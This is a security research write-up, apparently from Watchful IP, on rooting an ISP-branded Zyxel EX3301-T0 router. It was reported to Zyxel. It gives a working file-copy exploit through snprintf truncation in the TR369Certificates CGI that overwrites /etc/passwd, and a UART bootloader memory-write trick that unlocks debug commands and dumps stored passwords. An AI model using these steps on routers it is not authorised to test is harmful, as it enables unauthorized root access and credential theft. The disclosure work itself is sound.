Zyxel Router Vulnerability Research

Zyxel DX3301-T0/EX3301-T0

Summary

Below I present 2 methods for obtaining root on an ISP branded Zyxel DX3301/EX3301 Router.

The first was what I used, but is firmware version dependant as it has recently been patched. It is a post authentication vulnerability that allows Arbitrary File Copy/Overwrite (which can be used to obtain a full root shell). If you just want to read the formal report I sent to the vendor you can read it by clicking the image below. It has POC code.

The second is bootloader method I’ve not seen described before, and has a good chance on working on different models. It does require UART access however.

I've also included some brief notes related to:

  • ISP Management Server (Automatic Configuration Server (ACS) using CPE WAN Management Protocol TR-069)
  • enabling Telnet, FTP, SSH on ISP branded router
  • Reverting to Stock Firmware.
  • I’ve recently changed ISP and moved to FTTP (fiber).

    They supplied a router connected to the ONT – a Zyxel EX3301 Router with ISP branding.

    However, I am not one to blindly trust a device with internet access on my network so replaced it with my own firewall/router which itself sits in front of another firewall/router any LAN traffic must be authorized to be routed through.

    It did seem a waste not to take the opportunity to see if I could obtain a root shell on it, and check its security.

    Running V5.50(ABVY.5.5) firmware from mid 2025 (about 6 weeks old at time of test) it will contain many recent patches, so it may present a challenge.

    Note

    Some of the output will be obfuscated below to avoid the unnamed ISP from identifying it (not that I am in any way doing anything wrong on their infrastructure anyway).

    I isolated the router from the Internet on to my test LAN, and ran nmap:

  • ssh, telnet, ftp were all filtered
  • DHCP, http and https open
  • Checking the web config server does not permit me to enable ssh, telnet or ftp (no option to do so). Likely my ISP has restricted this.

    I downloaded the nearest firmware version from zyxel that matched mine, which was not encrypted.

    Extracting it with binwalk, /bin/zhttpd appears to be the right starting point for vulnerability hunting.

    I had looked at recent vulnerability disclosures, and CVE-2025-8693 appeared to affect the version loaded on the router. There’s no public POC so I thought I’d start there.

    https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-uncontrolled-resource-consumption-and-command-injection-vulnerabilities-in-certain-4g-lte-5g-nr-cpe-dsl-ethernet-cpe-fiber-onts-security-routers-and-wireless-extenders-11-18-2025

    The post-authentication command injection vulnerability in the "priv" parameter of the CGI program in certain DSL/Ethernet CPE, Fiber ONTs, and Wireless Extenders firmware versions could allow an authenticated attacker to execute operating system (OS) commands on an affected device. It is important to note that WAN access is disabled by default on these devices, and the attack can only succeed if the strong, unique user passwords have been compromised.

    OK so let’s check certificate related endpoints.

    Zyxel TR369 Certificate Endpoint Vulnerability

    In the /cgi-bin/TR369Certificates?action=download endpoint I found the following within zhttpd. It’s nothing to do with “priv” parameter, but I noticed it is vulnerable.

    The code is supposed to make sure /data/usp/cert/ exists, and that it is a regular file (not a device, directory, symlink etc).

    If both are true, then copy it to a temporary file using a system() wrapper and send contents of that file in the http reply.

    But the check logic is incorrect, so if the file does not exist, the cp command is executed anyway.

    snprint is used to populate the cp command string with /data/usp/cert/ as the source file, and temporary file as destination.

    /data/usp/cert didn’t happen to exist on my router, otherwise a relative path vulnerability may have worked – e.g: name = ../../../etc/passwd

    That requires the initial path to exist before resolving relative modifications so this failed.

    Classic injection parameters with `$|& etc appear to be escaped out server side so that was also ineffective.

    However, the snprintf command will only copy a maximum of 128 characters into the command string passed to system().

    zos_snprintf(filename_0x80, 128, "cp %s%s %s", "/data/usp/cert/", name, tmpfile);

    If name is long enough, the tmpfile destination argument is not copied on to the string. Therefore we can control the copy command to copy what we like where.

    Example:

    http request where name=”a /etc/passwd /mnt/usb2_sda1 [enough spaces to prevent tmpfile destination ending up in string]”

    Will execute

    cp /data/usp/cert/a /etc/passwd /mnt/usb2_sda1

    /data/usp/cert/a doesn’t exist of course and won’t be copied but this doesn’t prevent /etc/passwd from being copied to an inserted USB flash drive.

    nobody:x:99:99:nobody:/nonexistent:/bin/false
    root:x:0:0:root:/home/root:/bin/sh
    supervisor:x:12:12:supervisor:/home/supervisor:/bin/sh
    admin:x:21:21:admin:/home/admin:/usr/bin/zysh

    Note that admin shell is set to a restricted zysh shell.

    On the flash drive, change this field to /bin/sh, and UID/GID to 0 and we can copy it back over the running system /etc/passwd and login as admin with full shell and root rights.

    e.g.

    nobody:x:99:99:nobody:/nonexistent:/bin/false
    root:x:0:0:root:/home/root:/bin/sh
    supervisor:x:12:12:supervisor:/home/supervisor:/bin/sh
    admin:x:0:0:admin:/home/admin:/bin/sh

    Note that if reinserting the USB flash drive it may be mounted to a different path (e.g. /mnt/usb2_sdb1). The USB sharing web page should reveal this.

    cp /data/usp/cert/a /mnt/usb2_sdb1/passwd /etc
    

    Our passwd file has now been copied to /etc!

    Login as admin and the router admin password for a full shell with root rights via telnet, SSH or UART console.

    On this device the supervisor and root passwords are in plain text in /dev/mtd0 so it is easy enough to see them using the following:

    /sbin/mtd -q -q readflash /tmp/flashdump 256 65280 bootloader
    hexdump -C /tmp/flashdump

    The web communication to the device uses it's own encryption, so refer to the formal report I wrote here for the POC code.

    Zyxel Security Team Response

    I decided to let Zyxel know - mostly because I see these and similar products for sale on online platforms all the time. Internet routers are by their very function security critical devices for people's networks, and a supply chain attack selling compromised routers was a concern.

    Here is their abbreviated response:

    Thank you for bringing this issue to our attention. After a thorough review, our product team has confirmed that the latest firmware version 5.50(ABVY.7.1)C0 for the EX3301-T0 is not affected. The vulnerable TR-369 certificate–related CGI program was removed starting with firmware version 5.50(ABVY.6)C0.

    If you identify any specific examples indicating that the latest firmware remains vulnerable, we would be happy to re-evaluate the matter. Otherwise, we do not consider the reported issue to pose a security concern for the EX3301-T0 CPE running the latest firmware version.

    […] please note in your report that the EX3301-T0 CPE running the latest firmware version is not affected.

    They did well to respond quickly, though I did have a few issues with the response:

  • I had also reported a different suspected platform that was still vulnerable at time of report (and their reponse) but this wasn't addressed
  • "If you identify any specific examples indicating that the latest firmware remains vulnerable" - it's their job to check their current firmware for all potentially affected platforms, not mine (and anyway there are encrypted firmware devices I wasn't able to check, which I did point at out time of report).
  • This vulnerability is not mentioned anywhere on their security disclosures pages and isn't going to be. Unless someone happens to disclose it of course :)

  • UART zloader debug commands enable

    Connecting to the UART on the PCB is a simple affair, and I won’t detail here as it's obvious and there are pictures already on the internet. There’s a 5 pin populated header (missing one pin) – but RX, TX and GND are all there.

    Let’s see what the bootloader(s) have to say:

    BGA IC
    Xtal:1
    DDR3 init.
    DRAMC init done.
    Calculate size.
    DRAM size=256MB
    Set new TRFC.
    ddr-1333
    
    7516DRAMC V1.0 (0)
    Press 'x' or 'b' key in 1 secs to enter or skip bootloader upgrade.
    
    
    EN751627 at Thu Feb 23 19:36:07 CST 2023 version 1.1 free bootbase
    
    Set SPI Clock to 50 Mhz
    spi_nand_probe: mfr_id=0xef, dev_id=0xaa, dev_id2=0x21
    Using Flash ECC.
    Detected SPI NAND Flash : _SPI_NAND_DEVICE_ID_W25N01G, Flash Size=0x8000000
    bmt pool size: 81
    BMT & BBT Init Success
    
    
    
    ZyXEL zloader v1.4.5 (02/23/2023 - 19:36:05)
    Multiboot client version: 2.6
    Not found TC Phy
    Not found TC Phy
    Not found TC Phy
    Not found TC Phy
    Not found TC Phy
      GE Rext AnaCal Done! (2)(0x1e)
    
    Hit any key to stop autoboot:  5
    ZHAL>

    Breaking into second stage boot, we have the following commands only:

    ZHAL> help
    ATEN    x[,y]         set BootExtension Debug Flag (y=password)
    ATSE    x             show the seed of password generator
    ATDC                  disable check model mechanism
    ATSH                  dump manufacturer related data in ROM
    ATRT    [x,y,z,u]     RAM read/write test (x=level, y=start addr, z=end addr, u=iterations)
    ATGO                  boot up whole system
    ATSR    [x]           system reboot
    ATUR    x[,y]         upgrade RAS image (filename, partition number)

    Very limited. “dump manufacturer related data in ROM” gives:

    ZHAL> ATSH
    Firmware Version       : V5.50(ABVY.5.5)b5_Y0
    Bootbase Version       : V1.45 | 02/23/2023 19:36:05
    Vendor Name            : Zyxel Communications Corp.
    Product Model          : EX3301-T0
    Serial Number          : *************
    First MAC Address      : **********E0
    Last MAC Address       : **********EF
    MAC Address Quantity   : 16
    Default Country Code   : 00
    Boot Module Debug Flag : 00
    RootFS      Checksum   : 630*****
    Kernel      Checksum   : 9a8*****
    Main Feature Bits      : 00
    Other Feature Bits     :
    8402e9c0: 0405050d 00000100 00000000 00000000
    8402e9d0: 00000000 00000000 00000000
    ZHAL>

    At least we have some useful info from the info command (ATSH):

  • - Firmware version
  • - Memory address of feature bits
  • set BootExtension Debug Flag command wasn’t effective (ATEN) as we need a password based on a semi random seed.

    V5.50(ABVY.5.5) is not mentioned or available on the manufacturer’s website so I downloaded the nearest version for analysis.

    Other than that, and firmware upgrade, not much we can do here it seems.

    Research suggests if we could only change the Boot Module Debug Flag from 00 we’d have a full set of commands of available.

    The intended method to do that is using ATSE Model - i.e.:

    ZHAL> ATSE EX3301-T0
    2615C10409F01813900717C00881124E6914

    Then we need to generate the correct password for this, and use the ATEN 1,<password> command to enable debug functions.

    The routines in zloader to do so aren’t complicated, and I could write a program to generate the password (which will change every boot due to different seed) – but do we really need to do so?

    After all, there is a RAM test command available to us.

    ATRT    [x,y,z,u]     RAM read/write test (x=level, y=start addr, z=end addr, u=iterations)

    Importantly we can say where to start, where to end,. If we could specify the exact address in RAM the boot debug value is held – would that give us full access?

    Let’s see.

    Loading the zloader dump in your favourite disassembler,

    From the ATEN function:

            do
            {
              user_pw_ptr = *user_pw;
              gen_pw_ptr = (unsigned __int8)*pw_str_pos;
              if ( !pw_len )
                break;
              --pw_len;
              ++user_pw;
              if ( gen_pw_ptr != user_pw_ptr )
                goto LABEL_13;
              ++pw_str_pos;
            }
            while ( user_pw_ptr );
            user_pw_ptr = gen_pw_ptr;
    LABEL_13:
            if ( user_pw_ptr == gen_pw_ptr )        // PW OK
            {
              flag_val = str_to_int(*(unsigned __int8 **)argv, &v12, 0xAu);
              if ( *v12 || flag_val >= 2 )
              {
                printf("flag is incorrect\n");
                return -1;
              }
              else                                  // PW FAIL
              {
                DEBUG_FLAG = flag_val;
                return 0;
              }

    Where we can see the address the DEBUG FLAG is held:

    RAM:8402E9BD MAC_ADDRESS_QUANT:.space 1               # DATA XREF: sub_83FCCF94+40↑w
    RAM:8402E9BE  # char DEBUG_FLAG
    RAM:8402E9BE DEBUG_FLAG:     .space 1                 # DATA XREF: ATEN+34↑w
    RAM:8402E9BE                                          # ATEN:loc_83FCC5FC↑w ...
    RAM:8402E9BF MAIN_FEATURE:   .space 1                 # DATA XREF: sub_83FCCF40+40↑w
    RAM:8402E9C0  # _BYTE OTHER_FEATURE[30]
    RAM:8402E9C0 OTHER_FEATURE:  .space 0x1E              # DATA XREF: ATSH+210↑o
    RAM:8402E9C0

    0x8402E9BE which is notably only 0x02 than the values of Other Feature Bits we’re told the address of from the ATSH command.

    Other Feature Bits     :
    8402e9c0: 0405050d 00000100 00000000 00000000
    8402e9d0: 00000000 00000000 00000000

    So let’s overwrite it with a non zero value:

    ZHAL> ATRT 1, 0x8402E9BC, 0x8402E9C0, 2
    DRAMTest.. level 1 from 0x8402e9bc to 0x8402e9c0 2 iterations
    Iteration 1: ...Testing...000032K ...OK
    Iteration 2: ...Testing...000032K ...OK

    Did it work? Let's check.

    ZHAL> help
    ATBT    x             block0 write enable (1=enable, 0=disable)
    ATWM    x             set MAC address in working buffer
    ATEN    x[,y]         set BootExtension Debug Flag (y=password)
    ATSE    x             show the seed of password generator
    ATDC                  disable check model mechanism
    ATWZ    x[,y,z,a,b,c] write ZyXEL MAC addr, Country code, EngDbgFlag, FeatureBit, MAC Number, boot flag
    ATCB                  copy from FLASH to working buffer
    ATSB                  save working buffer to FLASH
    ATSH                  dump manufacturer related data in ROM
    ATCO    x             set country code in working buffer
    ATCF    x             set boot flag in working buffer
    ATSN    x             set serial number in FLASH ROM
    ATGU                  go back to master loader
    ATCR                  erase data partition
    ATRT    [x,y,z,u]     RAM read/write test (x=level, y=start addr, z=end addr, u=iterations)
    ATGO                  boot up whole system
    ATSR    [x]           system reboot
    ATUR    x[,y]         upgrade RAS image (filename, partition number)
    ATUB    x             upgrade ZLD image (filename)
    ATUD    x             upgrade ROMD image (filename)
    ATCD                  erase RomD partition
    ATUM    x             upgrade ROMFILE image (filename)
    ATCM                  erase ROMFILE partition
    ATLD    x,[y]         load file X to memory address Y via TFTP
    ATMB    [x,y]         upgrade firmware image by multiboot
    ATDU    x[,y]         dump memory or registers
    ATWW    x,y,z         set memory or registers(x=address, y=value, z=len)
    ATER    x,y           erase flash from block X to block Y
    ATRF    x,y[,z]       read/dump flash to ram/console(x=flash offset, y=len, z=ram address)
    ATWF    x,y,z         write data from RAM to flash(x=RAM address, y=flash offset, z=len)
    ATDS    x,y           dump data of spare area in page Y of block X
    ATCMP   x,y,z         compare two memory space x and y with length is z
    ATSW                  swap boot image to another partition.
    ATCMISC               erase misc partition
    ATCK    [x,y,z]       show | write psk admin supervisor.
    ZHAL>

    Now we have the full list of commands available!

    Note: This overwrites the 4 bytes in RAM not just the 1 byte debug flag, so do not write this changed memory to flash. Any command that makes permanent changes may do this, so I would recommend doing this after a reboot from a proper linux shell once we have the root password and dumped and saved the original mtd0.

    e.g.:

    ZHAL> ATDU 0x8402E9BC
    8402E9BC: AA AA AA AA 04 05 05 0D 00 00 01 00 00 00 00 00    ................
    

    Memory test wrote 0xAAAAAAAA which is good enough to enable debug commands but we shouldn’t write this to flash, nor use any command that writes the RAM buffer to flash.

    We can find out (but do not change at this stage) the supervisor (root) and admin passwords:

    ATCK    [x,y,z]       show | write psk admin supervisor.
    ZHAL> ATCK
    supervisor password: [redacted]
    admin password     : [redacted]
    WiFi PSK key       : [redacted]

    Reboot

    ATSR

    Once the router comes back up, login with root (or supervisor) and your root/supervisor password on the console.

    If you want to enable the debug flag permanently (and properly rather than overwriting 4 bytes in RAM) – here’s a good guide from eimparas:

    https://github.com/eimparas/Zyxel-VMG8623-T50B-Debrand/blob/main/DeBranding%20Guide.md

    I’d recommend keeping a copy of the original mtd0 dump before you make any changes.

    This was a quick and dirty way of unlocking the zloader commands – but does have the advantage of potentially working on other devices with differently seeded password generation routines that other platforms may use. Just try 4 bytes before Other Feature Bits memory address it tells you. As long as you don’t then write RAM buffer to flash, and just use to dump flash, show passwords etc then there is almost no risk in trying this.

    Telnet, FTP, SSH on ISP branded router

    There were no options on my router in the web management interface to enable Telnet, FTP or SSH.

    Looking at why, we can see in the decrypted response from the /cgi-bin/getWebGuiFlag request:

    'hideFTP': True, 'hideTELNET': True

    These are controlled by the Flag3 field in zcfg_config.json:

      "X_ZYXEL_GUI_CUSTOMIZATION":{
        "Flag1":319313190,
        "Flag3":33685504,
        "BlockSpecialChar":true,
        "BlockChar":"\"`'<>^$|&;",

    Where Flag3 is as 32bit flag field, each bit controlling various elements of /cgi-bin/getWebGuiFlag as presumably does Flag1.

    These values are themselves populated on first boot from /usr/etc/sysconfig.tar.gz

    It may be that using dev tools in browser, or changing the javascript etc could enable network services, or the correct http request, or it may be the router doesn’t just suppress rendering of those web elements, but rather also restricts enabling via http entirely.

    I didn’t look further into this as during research I had a restricted shell over UART at the time (logging in as admin) and used the following commands instead which was persistent across reboots:

     # zycli mgmtsrvctl config
    Usage:
    mgmtsrvctl show
    mgmtsrvctl config       [--service -s  
                            [--port -p ]]
                            [--trustdomain -t  ]
    
    
     # zycli mgmtsrvctl config -s TELNET 0
     # zycli mgmtsrvctl config -s SSH 0
     # zycli mgmtsrvctl config -s FTP 0

    ISP Management Server

    Zyxel offer the option of the router using an Automatic Configuration Server (ACS) using CPE WAN Management Protocol TR-069.

    This ISP router comes already configured with this (usernames, passwords etc removed):

     "ManagementServer":{
        "AutonomousTransferCompletePolicy":{
        },
        "DownloadAvailability":{
          "Announcement":{
            "Enable":false
          },
          "Query":{
            "Enable":false
          }
        },
        "DUStateChangeComplPolicy":{
          "Enable":false,
          "OperationTypeFilter":"",
          "ResultTypeFilter":"",
          "FaultCodeFilter":""
        },
        "EnableCWMP":true,
        "URL":"https:\/\/*************************\/cwmpWeb\/CPEMgt",
        "X_ZYXEL_FallbackURL":"",
        "X_ZYXEL_URLChangedViaOption43":false,
        "Username":":\/\/*************************\/9",
        "Password":"_encryp1_z:***************":":\/\/*************************",**********",
        "PeriodicInformEnable":true,
        "PeriodicInformInterval":108000,
        "PeriodicInformTime":"0001-01-01T00:00:00Z",
        "ConnectionRequestUsername":":\/\/*************************",
        "ConnectionRequestPassword":"_encryp1_:\/\/**********":":\/\/*************************",***************",

    This might make sense from the ISP point of view – ensuring huge numbers of CPE (Customer Premsis Equipment) are updated, support and diagnosed during faults. There are benign legitimate uses for this.

    But from those who are more security conscious about the security of their home network, there are potential risks associated with this.

    The ACS url my ISP is using resolves to AWS servers so it’s not even as though they are hosting it on their own infrastructure accessible only to their own network.

    What happens if these are compromised?

  • What if a malicious config update or firmware is pushed to 100,000s of devices? I've not seen any indicated the firmware on this device is even signed preventing rootkitted firmware being installed.
  • Using my network to relay criminal traffic or pivoting on to my LAN to attack my local devices?
  • If they are going to have such a powerful remote config and control service they, as an ISP, should at least host it directly themselves and permit only their own networks access to it. Any the manufacturer should ensure updates must be signed.
  • Reverting to Stock Firmware

    Now we have root access I disabled the model/fw ID checks and updated to a much more functional firmware, providing the full gamut of options in the web interface. Especially if login as supervisor.

    # zycli fwidcheck off
    Deactive the FW ID check mechanism during the FW upgrade via Web or TR069. ret:0
    # zycli modelcheck off
    DeActive the Model check mechanism during the FW upgrade via Web or TR069. ret:0

    GENERAL DISCLAIMER

    Watchful IP conducted time limited general security testing on stated product. This did not include any online services testing, which, under UK Law, would require explicit consent from vendor. This report is not authorized by the vendor.

    Watchful IP accepts no liability for any damage to equipment or service provision undertaken or caused by third parties.

    Security threats are continually changing, with new vulnerabilities discovered on a daily basis, and no product, system or application can ever be 100% secure no matter how much security testing is conducted. All submitted reports are intended only to provide information to the vendor, or in this case, the general security researcher community relating to security vulnerabilities discovered in the course of this, or previous, projects.

    These reports cannot and do not protect against personal or business loss as the result of use of the applications or systems described. Watchful IP offers no warranties, representations or legal certifications concerning the applications or systems tested without prior written agreement.

    All software includes defects: nothing in any submitted report or any other communication is intended to represent or warrant that security testing was complete and without error, nor do any such work or communications represent or warrant that the application tested is suitable for task, free of other defects than reported, fully compliant with any industry standards, or fully compatible with any operating system, hardware, or other application.

    All work carried out was done on a best effort basis with the aim of improving the security of vendor products and services, and the security posture of vendor in general.

    Watchful IP

    December 2025